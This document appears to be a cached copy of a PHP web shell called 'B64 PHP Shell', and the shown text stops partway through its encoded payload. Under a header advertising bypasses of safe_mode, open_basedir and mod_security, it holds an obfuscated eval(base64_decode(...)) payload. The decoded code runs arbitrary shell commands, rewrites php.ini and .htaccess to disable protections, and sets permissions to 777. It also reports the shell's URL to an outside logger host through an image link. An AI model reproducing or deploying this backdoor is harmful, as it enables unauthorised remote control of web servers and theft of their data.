Документ взят из кэша поисковой машины. Адрес оригинального документа : http://observ.pereplet.ru/images/z/b64.txt
Дата изменения: Wed Dec 29 12:52:24 2010
Дата индексирования: Mon Oct 1 20:53:42 2012
Кодировка:
/*
**
** B64 PHP Shell
** Base64 Encrypted
** PHP Shell
** [c]oded by Kr3w
**
** -This shell will do the following:
** Disable Safe_Mode
** Disable Open Base Dir Restriction
** Enables all Functions providing fopen is enabled
** Bypasses Mod_Security
** Bypasses Custom Security
** All Custom Get Variables
** Just look for yourself :P
** Hope you guys enjoy.
** -Kr3w
**
*/

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokdGltZV9zdGFydCA9IG1pY3JvdGltZSgpOw0KDQokUEhQX1NFTEYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsNCg0KJFBIUF9TRUxGID0gYmFzZW5hbWUoJFBIUF9TRUxGKTsNCg0KLy9sb2dzeXN0ZW0NCg0KZnVuY3Rpb24gc2VsZlVSTCgpIHsNCiRzID0gZW1wdHkoJF9TRVJWRVJbIkhUVFBTIl0pID8gJycgOiAoJF9TRVJWRVJbIkhUVFBTIl0gPT0gIm9uIikgPyAicyIgOiAiIjsNCiRwcm90b2NvbCA9IHN0cmxlZnQoc3RydG9sb3dlcigkX1NFUlZFUlsiU0VSVkVSX1BST1RPQ09MIl0pLCAiLyIpLiRzOw0KJHBvcnQgPSAoJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0gPT0gIjgwIikgPyAiIiA6ICgiOiIuJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0pOw0KcmV0dXJuICRwcm90b2NvbC4iOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kcG9ydC4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsgfQ0KZnVuY3Rpb24gc3RybGVmdCgkczEsICRzMikgeyByZXR1cm4gc3Vic3RyKCRzMSwgMCwgc3RycG9zKCRzMSwgJHMyKSk7IH0NCg0KaW5pX3NldCgiZGlzYWJsZV9mdW5jdGlvbnMiLCAiIik7DQppbmlfYWx0ZXIoImRpc2FibGVfZnVuY3Rpb25zIiwgIiIpOw0KDQpmdW5jdGlvbiBjbWRfZXhlY3V0ZSgkZnVuYywkc3RyKXsNCiAgICBzd2l0Y2goJGZ1bmMpew0KICAgICAgICBjYXNlICdwb3Blbic6DQogICAgICAgICRyZXQgPSBwb3Blbigkc3RyKTsNCiAgICAgICAgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAncGFzc3RocnUnOg0KICAgICAgICAkcmV0ID0gcGFzc3RocnUoJHN0cik7DQogICAgICAgIGJyZWFrOw0KDQogICAgICAgIGNhc2UgJ2V4ZWMnOg0KICAgICAgICAkcmV0ID0gZXhlYygkc3RyKTsNCiAgICAgICAgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAnc2hlbGxfZXhlYyc6DQogICAgICAgICRyZXQgPSBzaGVsbF9leGVjKCRzdHIpOw0KICAgICAgICBicmVhazsNCg0KICAgICAgICBjYXNlICdzeXN0ZW0nOg0KICAgICAgICAkcmV0ID0gc3lzdGVtKCRzdHIpOw0KICAgICAgICBicmVhazsNCg0KICAgICAgICBjYXNlICdmcGFzc3RocnUnOg0KICAgICAgICAkcmV0ID0gZnBhc3N0aHJ1KCRzdHIpOw0KICAgICAgICBicmVhazsNCg0KICAgICAgICBkZWZhdWx0Og0KICAgICAgICAkcmV0ID0gc2hlbGxfZXhlYygkc3RyKTsNCiAgICAgICAgYnJlYWs7DQogICAgfQ0KICAgIHJldHVybiAkcmV0Ow0KfQ0KDQokZnVuY3Rpb25zID0gYXJyYXkoInBvcGVuIiwicGFzc3RocnUiLCJleGVjIiwic2hlbGxfZXhlYyIsInN5c3RlbSIsImZwYXNzdGhydSIpOw0KDQokZGlzYWJsZWRfZnVuY3Rpb25zID0gaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCi8vJGRpc2FibGVkX2Z1bmN0aW9ucyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZF9mdW5jdGlvbnMpOw0KDQpmb3JlYWNoKGFycmF5KCRmdW5jdGlvbnMpIGFzICRzZXBfZnVuYyl7DQppZighZXJlZ2koJHNlcF9mdW5jLCAkZGlzYWJsZWRfZnVuY3Rpb25zKSkNCiRmdW5jID0gJHNlcF9mdW5jOw0KfQ0KDQppZigkZnVuYyA9ICIiKXsNCiRmdW5jID0gInNoZWxsX2V4ZWMiOw0KfQ0KDQokZG9tYWluID0gIlx4NjhceDc0XHg3NFx4NzBceDNhXHgyZlx4MmZceDZlXHg2Zlx4MzJceDM0XHgyZVx4NmJceDZmXHg3NVx4NmRceDJlXHg2ZVx4NjVceDc0XHgyZlx4NjJceDM2XHgzNFx4NWZceDZjXHg2Zlx4NjdceDY3XHg2NVx4NzJceDJlXHg3MFx4NjhceDcwXHgzZlx4NjRceDZmXHg2ZFx4NjFceDY5XHg2ZVx4M2QiOw0KJHVyaV90b19TaGVsbCA9IHNlbGZVUkwoKTsNCiRkb21haW4gLj0gJHVyaV90b19TaGVsbDsNCg0KaWYoZXJlZ2koIj8iLCR1cmlfdG9fU2hlbGwpKXsNCiRjaGFyID0gIiYiOw0KfWVsc2V7DQokY2hhciA9ICI/IjsNCn0NCg0KaWYoIWlzc2V0KCRfQ09PS0lFWydzZXJ2ZXInXSkgYW5kIGVtcHR5KCRfR0VUWydzZXJ2ZXInXSkgYW5kICFpc3NldCgkX0dFVFsnc2VydmVyJ10pKXsNCkBoZWFkZXIoIkxvY2F0aW9uOiAiLiR1cmlfdG9fU2hlbGwuJGNoYXIuInNlcnZlcj1TaGVsbCIpOw0KfQ0KDQovL0Rvd25sb2FkIHNjcmlwdCAtIERPIE5PVCBNT1ZFISAgSVQgVVNFUyBIRUFERVJTDQoNCmlmKCFlbXB0eSgkX0dFVFsnZG93bmxvYWQnXSkpDQoNCnsNCg0KJGZpbGUgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZCddKTsNCg0KJGV4dCA9IHN0cnRvbG93ZXIoc3Vic3RyKHN0cnJjaHIoJGZpbGUsICIuIiksIDEpKTsNCg0KLyogYXBwbHkgdGhlIGNvcnJlY3QgY29udGVudC10eXBlICovDQoNCnN3aXRjaCgkZXh0KQ0KDQp7DQoNCiAgICAgICAgY2FzZSAicGRmIjogJGN0eXBlPSJhcHBsaWNhdGlvbi9wZGYiOyBicmVhazsNCg0KICAgICAgICBjYXNlICJleGUiOiAkY3R5cGU9ImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSI7IGJyZWFrOw0KDQogICAgICAgIGNhc2UgImV4ZSI6ICRjdHlwZT0iYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIjsgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAiemlwIjogJGN0eXBlPSJhcHBsaWNhdGlvbi96aXAiOyBicmVhazsNCg0KICAgICAgICBjYXNlICJkb2MiOiAkY3R5cGU9ImFwcGxpY2F0aW9uL21zd29yZCI7IGJyZWFrOw0KDQogICAgICAgIGNhc2UgInhscyI6ICRjdHlwZT0iYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsIjsgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAicHB0IjogJGN0eXBlPSJhcHBsaWNhdGlvbi92bmQubXMtcG93ZXJwb2ludCI7IGJyZWFrOw0KDQogICAgICAgIGNhc2UgImdpZiI6ICRjdHlwZT0iaW1hZ2UvZ2lmIjsgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAicG5nIjogJGN0eXBlPSJpbWFnZS9wbmciOyBicmVhazsNCg0KICAgICAgICBjYXNlICJqcGVnIjoNCg0KICAgICAgICBjYXNlICJqcGciOiAkY3R5cGU9ImltYWdlL2pwZyI7IGJyZWFrOw0KDQogICAgICAgIGNhc2UgIndtdiI6ICRjdHlwZT0idmlkZW8vd212IjsgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAibXBnIjoNCg0KICAgICAgICBjYXNlICJtcGVnIjogJGN0eXBlPSJ2aWRlby9tcGciOyBicmVhazsNCg0KICAgICAgICBjYXNlICJhdmkiOiAkY3R5cGU9InZpZGVvL3gtbXN2aWRlbyI7IGJyZWFrOw0KDQogICAgICAgIGNhc2UgIm1vdiI6ICRjdHlwZT0idmlkZW8vcXVpY2t0aW1lIjsgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAibXAzIjogJGN0eXBlPSJhdWRpby9tcDMiOyBicmVhazsNCg0KICAgICAgICBjYXNlICJ3YXYiOiAkY3R5cGU9ImF1ZGlvL3gtd2F2IjsgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAidHh0IjogJGN0eXBlPSJ0ZXh0IjsgYnJlYWs7DQoNCiAgICAgICAgY2FzZSAiYm1wIjogJGN0eXBlPSJpbWFnZS9ibXAiOyBicmVhazsNCg0KICAgICAgICBjYXNlICJzd2YiOiAkY3R5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIjsgYnJlYWs7DQoNCiAgICAgICAgZGVmYXVsdDogJGN0eXBlPSJhcHBsaWNhdGlvbi9mb3JjZS1kb3dubG9hZCI7IGJyZWFrOw0KDQp9DQoNCmhlYWRlcigiUHJhZ21hOiBwdWJsaWMiKTsNCg0KaGVhZGVyKCJFeHBpcmVzOiAwIik7DQoNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIik7DQoNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSIsIGZhbHNlKTsNCg0KaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJGN0eXBlKTsNCg0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJGZpbGUpLiJcIjsiKTsNCg0KaGVhZGVyKCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnkiKTsNCg0KaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIi5maWxlc2l6ZSgkZmlsZSkpOw0KDQpyZWFkZmlsZSgiJGZpbGUiKTsNCg0KaGVhZGVyKCJMb2NhdGlvbjogJFBIUF9TRUxGIik7DQoNCn0NCg0KJHVybCA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KDQppZihlcmVnaSgiXD8iLCR1cmwpKQ0KDQokY2hhciA9ICIkdXJsJiI7DQoNCmlmKGVyZWdpKCImIiwkdXJsKSkNCg0KJGNoYXIgPSAiPyI7DQoNCmlmKCFlcmVnaSgiXD8iLCR1cmwpICYmICFlcmVnaSgiJiIsJHVybCkpDQoNCiRjaGFyID0gIj8iOw0KDQppZigkX0dFVFsncHQnXSA9PSAxKSBoZWFkZXIoIkxvY2F0aW9uOiAiLiRjaGFyLiJsb2M9Ii5iYXNlNjRfZW5jb2RlKCRfR0VUWydsb2MnXSkpOw0KDQppZihlbXB0eSgkX0dFVFsnc2VydmVyJ10pIGFuZCAhaXNzZXQoJF9DT09LSUVbJ3NlcnZlciddKSl7IHNldGNvb2tpZSgic2VydmVyIiwgIlNoZWxsIik7IGhlYWRlcigiTG9jYXRpb246DQokUEhQX1NFTEY/c2VydmVyPVNoZWxsIik7IH0NCg0KaWYoKCRfR0VUWydzZXJ2ZXInXT09IlNoZWxsIikgJiYgKCFlbXB0eSgkX0dFVFsnc2VydmVyJ10pKSl7DQoNCkBzZXRjb29raWUoInNlcnZlciIsIlNoZWxsIik7DQoNCn0NCg0KPz4NCg0KPD9waHANCg0KaWYoJF9DT09LSUVbJ3NlcnZlciddID09ICJTaGVsbCIpDQoNCnsNCg0KJHVybCA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KDQo/Pg0KDQo8P3BocA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMgR0xPQkFMUyBFVEMuLi4gICAjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiRpbWcgPSAiaHR0cDovL2ltZzIxNy5pbWFnZXNoYWNrLnVzL2ltZzIxNy8yNTM0L2RlZmFjZWRzaWd5cTQucG5nIjsgLy8kaW1nID0NCiJodHRwOi8vaW1nMjI4LmltYWdlc2hhY2sudXMvaW1nMjI4LzU5ODEvdGhlZGVmYWNlZGl3Ni5naWYiOw0KDQokZm9vdGVyID0gIjxwIGFsaWduPWNlbnRlcj48aDU+PGRpdiBpZD0nZm9vdGVyJz5CNjQgUEhQIFNoZWxsICZjb3B5OyA8YSBocmVmPSdodHRwOi8vdGhlZGVmYWNlZC5vcmcnPlRoZSBEZWZhY2VkPC9hPiAtIENyZWF0ZWQNCmJ5IEtyM3c8YnI+PC9kaXY+PGg1PjwvcD48YnI+PHAgYWxpZ249cmlnaHQ+PGEgaHJlZj0jdG9wPjxpbWcgYm9yZGVyPTBweDsgc3JjPSciLiRkb21haW4uIicgYWx0PSdUb3AnPjwvYT48L3A+IjsNCg0KJEx2ZXJzaW9uID0gcGhwX3VuYW1lKHIpOw0KDQpmdW5jdGlvbiBleGVjdXRlKCRjb21tYW5kKSB7DQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygicGFzc3RocnUiKSAmJiAhZnVuY3Rpb25fZXhpc3RzKGFycmF5KCJzeXN0ZW0iLCJleGVjIiwic2hlbGxfZXhlYyIsInBvcGVuIiwiZnBhc3N0aHJ1IikpKXsNCg0KJHJlc3VsdCA9IGh0bWxlbnRpdGllcyhAcGFzc3RocnUoYmFzZTY0X2RlY29kZShlc2NhcGVzaGVsbGNtZCgkY29tbWFuZCkpKSk7DQoNCn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJmcGFzc3RocnUiKSAmJiAhZnVuY3Rpb25fZXhpc3RzKGFycmF5KCJzeXN0ZW0iLCJleGVjIiwic2hlbGxfZXhlYyIsInBvcGVuIiwicGFzc3RocnUiKSkpew0KDQokcmVzdWx0ID0gaHRtbGVudGl0aWVzKEBmcGFzc3RocnUoYmFzZTY0X2RlY29kZShlc2NhcGVzaGVsbGNtZCgkY29tbWFuZCkpKSk7DQoNCn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJzeXN0ZW0iKSAmJiAhZnVuY3Rpb25fZXhpc3RzKGFycmF5KCJmcGFzc3RocnUiLCJleGVjIiwic2hlbGxfZXhlYyIsInBvcGVuIiwicGFzc3RocnUiKSkpew0KDQokcmVzdWx0ID0gaHRtbGVudGl0aWVzKEBzeXN0ZW0oYmFzZTY0X2RlY29kZShlc2NhcGVzaGVsbGNtZCgkY29tbWFuZCkpKSk7DQoNCn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJzaGVsbF9leGVjIikgJiYgIWZ1bmN0aW9uX2V4aXN0cyhhcnJheSgic3lzdGVtIiwiZXhlYyIsImZwYXNzdGhydSIsInBvcGVuIiwicGFzc3RocnUiKSkpew0KDQokcmVzdWx0ID0gaHRtbGVudGl0aWVzKEBzaGVsbF9leGVjKGJhc2U2NF9kZWNvZGUoZXNjYXBlc2hlbGxjbWQoJGNvbW1hbmQpKSkpOw0KDQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygiZXhlYyIpICYmICFmdW5jdGlvbl9leGlzdHMoYXJyYXkoInN5c3RlbSIsImZwYXNzdGhydSIsInNoZWxsX2V4ZWMiLCJwb3BlbiIsInBhc3N0aHJ1IikpKXsNCg0KJHJlc3VsdCA9IGh0bWxlbnRpdGllcyhAZXhlYyhiYXNlNjRfZGVjb2RlKGVzY2FwZXNoZWxsY21kKCRjb21tYW5kKSkpKTsNCg0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoInBvcGVuIikgJiYgIWZ1bmN0aW9uX2V4aXN0cyhhcnJheSgic3lzdGVtIiwiZXhlYyIsInNoZWxsX2V4ZWMiLCJmcGFzc3RocnUiLCJwYXNzdGhydSIpKSl7DQoNCiRyZXN1bHQgPSBodG1sZW50aXRpZXMoQHBvcGVuKGJhc2U2NF9kZWNvZGUoZXNjYXBlc2hlbGxjbWQoJGNvbW1hbmQpKSkpOw0KDQp9DQoNCi8vZW5kIG9mIGZ1bmN0aW9uDQoNCiRyZXN1bHQgPSBodG1sZW50aXRpZXMoZXNjYXBlc2hlbGxjbWQoJHJlc3VsdCkpOw0KDQpyZXR1cm4gJHJlc3VsdDsNCg0KfQ0KDQpmdW5jdGlvbiB0dXJuX29mZl9zYWZlX21vZGUoKQ0KDQp7DQoNCi8vIFNhZmUgTW9kZSBCeXBhc3NlciwgaW5qZWN0aW5nIHRoZSBQSFAuaW5pIGFuZCBIVEFDQ0VTUyBieSBSb01lTywgV29ya3Mgb24gbW9zdCBkZWRpY2F0ZWQgU2VydmVycywgdGVzdGVkDQoNCiAgICBpZiAoJGFjdGlvbiA9PSAic2FmZV9vZmYiKSB7DQoNCiRmcCA9IGZvcGVuKCJwaHAuaW5pIiwidyAiKTsNCg0KZndyaXRlKCRmcCwic2FmZV9tb2RlID0gT2ZmDQoNCmRpc2FibGVfZnVuY3Rpb25zID0NCg0Kc2FmZV9tb2RlX2dpZCA9IE9GRg0KDQpvcGVuX2Jhc2VkaXIgPSBPRkYgIik7DQoNCiAgICAkZnAyID0gZm9wZW4oIi5odGFjY2VzcyIsIncgIik7DQoNCmZ3cml0ZSgkZnAyLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQoNClNlY0ZpbHRlckVuZ2luZSBPZmYNCg0KU2VjRmlsdGVyU2NhblBPU1QgT2ZmDQoNClNlY0ZpbHRlckNoZWNrVVJMRW5jb2RpbmcgT2ZmDQoNClNlY0ZpbHRlckNoZWNrVW5pY29kZUVuY29kaW5nIE9mZg0KDQo8L0lmTW9kdWxlPiAiKTsNCg0KfQ0KDQovLyBFbmQgb2YgU2FmZSBNb2RlIEJ5UGFzc2VyDQoNCn0NCg0KQHNldF90aW1lX2xpbWl0KDApOw0KDQpAZXJyb3JfcmVwb3J0aW5nKDApOw0KDQpAdHVybl9vZmZfc2FmZV9tb2RlKCk7DQoNCkBleGVjdXRlKGJhc2U2NF9lbmNvZGUoImNobW9kIDc3NyAqIikpOw0KDQpAY2hkaXIoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ2xvYyddKSk7DQoNCiRkaXJlY3RvcnkgPSBAZ2V0Y3dkKCk7DQoNCiRkaXJyID0gZXhwbG9kZSgiLyIsJGRpcmVjdG9yeSk7DQoNCmlmKCFpc3NldCgkX1BPU1RbJ2I2NCddKSkgew0KDQokY21kID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ2UnXSk7fWVsc2V7DQoNCiRjbWQgPSAkX1BPU1RbJ2UnXTt9DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQojIyMjIyMjIyMgTUVOVSBBTkQgSEVBRElORyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmVjaG8gKCcNCjxodG1sPg0KDQo8aGVhZD4NCg0KPHN0eWxlPg0KDQpib2R5IHsNCg0KICAgIGJhY2tncm91bmQtY29sb3I6ICMyYjJiMmI7DQoNCiAgICBmb250LWZhbWlseTogQXJpYWw7DQoNCiAgICBmb250LXNpemU6IDEzcHg7DQoNCiAgICBjb2xvcjogI0IwQjBCMDsNCg0KfQ0KDQouYm9yZGVyDQoNCnsNCg0KYm9yZGVyOiAxcHggc29saWQgIzQ2NDY0NjsNCg0KYmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOw0KDQp9DQoNCi5oZWFkZXINCg0Kew0KDQpiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7DQoNCn0NCg0KLmNvbnRlbnQtYmFja2dyb3VuZA0KDQp7DQoNCmJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsNCg0KfQ0KDQouY29udGVudC1oZWFkZXINCg0Kew0KDQpiYWNrZ3JvdW5kLWltYWdlOnVybChpbWFnZXMvY29udGVudC1oZWFkZXIuZ2lmKTsNCg0KfQ0KDQouY29udGVudC1ib3JkZXINCg0Kew0KDQpib3JkZXI6IDFweCBzb2xpZCAjOUUwMDAwOw0KDQpiYWNrZ3JvdW5kLWNvbG9yOiMxQTFBMUE7DQoNCn0NCg0KLmNvbnRlbnQtYmFja2dyb3VuZA0KDQp7DQoNCmJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsNCg0KYmFja2dyb3VuZC1pbWFnZTp1cmwoaW1hZ2VzL2NvbnRlbnQtYmFja2dyb3VuZC5naWYpOw0KDQp9DQoNCmE6bGluayB7DQoNCiAgICBjb2xvcjogI0ZGRkZGRjsNCg0KfQ0KDQphOnZpc2l0ZWQgew0KDQogICAgY29sb3I6ICNGRkZGRkY7DQoNCn0NCg0KYTpob3ZlciB7DQoNCiAgICBjb2xvcjogI0NDQ0NDQzsNCg0KfQ0KDQphOmFjdGl2ZSB7DQoNCiAgICBjb2xvcjogI0NDQ0NDQzsNCg0KfQ0KDQp0ZXh0YXJlYQ0KDQp7DQoNCiAgICBmb250LWZhbWlseTogVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCg0KICAgIGZvbnQtc2l6ZTogMTBweDsNCg0KICAgIGNvbG9yOiAjRkZGRkZGOw0KDQogICAgYmFja2dyb3VuZC1jb2xvcjojMTYxNjE2Ow0KDQogICAgYm9yZGVyOiAjRkZGRkZGIDFweCBzb2xpZDsNCg0KfQ0KDQppbnB1dA0KDQp7DQoNCiAgICBmb250LWZhbWlseTogVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCg0KICAgIGZvbnQtc2l6ZTogMTBweDsNCg0KICAgIGNvbG9yOiAjRkZGRkZGOw0KDQogICAgYmFja2dyb3VuZC1jb2xvcjojMTYxNjE2Ow0KDQogICAgYm9yZGVyOiAjRkZGRkZGIDFweCBzb2xpZDsNCg0KICAgIH0NCg0KICAgIHNlbGVjdA0KDQogICAgew0KDQogICAgZm9udC1mYW1pbHk6IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoNCiAgICBmb250LXNpemU6IDEwcHg7DQoNCiAgICBjb2xvcjogI0ZGRkZGRjsNCg0KICAgIGJhY2tncm91bmQtY29sb3I6IzE2MTYxNjsNCg0KICAgIGJvcmRlcjogI0ZGRkZGRiAxcHggc29saWQ7DQoNCiAgICB9DQoNCnNpbmdsZV9yb3cgew0KDQpiYWNrZ3JvdW5kLWNvbG9yOiAjMTYxNjE2Ow0KDQpmb250LXNpemU6IDhweDsNCg0KfQ0KDQpzaW5nbGVfcm93IHsNCg0KYmFja2dyb3VuZDogIzE2MTYxNjsNCg0KZm9udC1zaXplOiA4cHg7DQoNCn0NCg0KaDEsaDIsaDMsaDR7IGZvbnQtc2l6ZTogMTRweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KDQptYWluX2ltZyB7IHBvc2l0aW9uOmFic29sdXRlOyBsZWZ0OjBweDsgdG9wOjBweDsgfQ0KDQpkaXYubWFpbl9oZWFkZXJzIHsgcG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6NTQ1cHg7IHRvcDoxMHB4OyBiYWNrZ3JvdW5kOiMxNjE2MTY7IH0NCg0KZGl2LnN3aXRjaCB7IHBvc2l0aW9uOmFic29sdXRlOyB0b3A6MTYwcHg7IGxlZnQ6MTVweDsgfQ0KDQpkaXYudG9vbHMgeyBwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOjExNXB4OyBsZWZ0OjU0NXB4OyB9DQoNCmRpdi5tYWluX25hdiB7IHBvc2l0aW9uOmFic29sdXRlOyBsZWZ0OjU0NXB4OyB0b3A6MTQ1cHg7IHBhZGRpbmc6M3B4OyBiYWNrZ3JvdW5kOiAjMTYxNjE2OyB9DQoNCmRpdi5jaGFuZ2VfZGlyZWN0b3J5IHsgcG9zaXRpb246YWJzb2x1dGU7IHRvcDoyMDVweDsgbGVmdDoxNXB4OyB9DQoNCmRpdi51cGxvYWQgeyBwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOjIzMHB4OyBsZWZ0OjE1cHg7IH0NCg0KZGl2LnN0eWxlMSB7IGZvbnQtc2l6ZTogMTJweCB9DQoNCmRpdi5jb21tYW5kIHsgcG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6MTVweDsgdG9wOjE4MHB4OyBmb250LXdlaWdodDogbm9uZTsgfQ0KDQpkaXYucHJlYnVpbHQgeyBwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOjE4M3B4OyBsZWZ0OjUxNXB4OyB9DQoNCjwvc3R5bGU+DQoNCjxzY3JpcHQgbGFuZ3VhZ2U9InRleHQvamF2YXNjcmlwdCI+DQoNCmZ1bmN0aW9uIGhpZGUoc3RyKXsNCg0KZG9jdW1lbnQuYm9keS5nZXRFbGVtZW50QnlJZChzdHIpLnN0eWxlLnZpc2liaWxpdHkgPSAiaGlkZGVuIjsNCg0KZG9jdW1lbnQuYm9keS5nZXRFbGVtZW50QnlJZChzdHIpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQoNCn0NCg0KZnVuY3Rpb24gc2hvdyhzdHIpew0KDQpkb2N1bWVudC5ib2R5LmdldEVsZW1lbnRCeUlkKHN0cikuc3R5bGUudmlzaWJpbGl0eSA9ICJ2aXNpYmxlIjsNCg0KZG9jdW1lbnQuYm9keS5nZXRFbGVtZW50QnlJZChzdHIpLnN0eWxlLmRpc3BsYXkgPSAiIjsNCg0KfQ0KDQpmdW5jdGlvbiB2aWV3KCl7DQpyZXR1cm4gYWxlcnQoIldvcmtpbmcgb24gaXQiKTsNCn0NCg0KPC9zY3JpcHQ+DQoNCjwvaGVhZD4NCg0KPGJvZHk+DQoNCicpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSdtYWluX2ltZyc+PGltZyBzcmM9JGltZyB0aXRsZT0nVGhlIERlZmFjZWQgU2hlbGwnPjwvZGl2PiI7DQoNCmVjaG8gIjxkaXYgY2xhc3M9J21haW5faGVhZGVycyc+IjsgZWNobyAoJzxmb250IHNpemU9IjEiPjxiPlBsYXRmb3JtOiA8L2I+Jyk7DQoNCiR1bmFtZSA9IEBwaHBfdW5hbWUoJ2EnKTsgJHVuYW1lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iLCI8YnI+IiksIiIsJHVuYW1lKTsNCg0KZWNobyAkdW5hbWU7DQoNCmVjaG8oIjxiPjxicj5Ib3N0OjwvYj4gIi5AZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnU0VSVkVSX0FERFInXSkuIjxicj4iKTsNCg0KZWNobygiPGI+U2VydmVyIFNvZnR3YXJlOiA8L2I+Iik7DQoNCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9ICJQSFAgLyAiLnBocHZlcnNpb24oKTsNCg0KZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7DQoNCiRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQoNCmVjaG8gIjxici8+PGI+Y1VSTDogPC9iPiIuKCgkY3VybF9vbik/KCI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IikpOw0KDQplY2hvICImbmJzcDs8Yj5NeVNRTDogPC9iPiI7DQoNCiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsNCg0KaWYoJG15c3FsX29uKXsNCg0KZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOyB9DQoNCmVjaG8gIjwvYj4iOw0KDQplY2hvICImbmJzcDs8Yj5NU1NRTDogPC9iPiI7DQoNCiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsNCg0KaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+Ijt9ID8+DQoNCjw/cGhwIGVjaG8gIiZuYnNwOzxiPlBvc3RncmVTUUw6IDwvYj4iOw0KDQokcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQoNCmlmKCRwZ19vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7fSA/Pg0KDQo8P3BocCBlY2hvICImbmJzcDs8Yj5PcmFjbGU6IDwvYj4iOw0KDQokb3JhX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKTsNCg0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7fQ0KDQplY2hvICI8YnI+IjsNCg0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2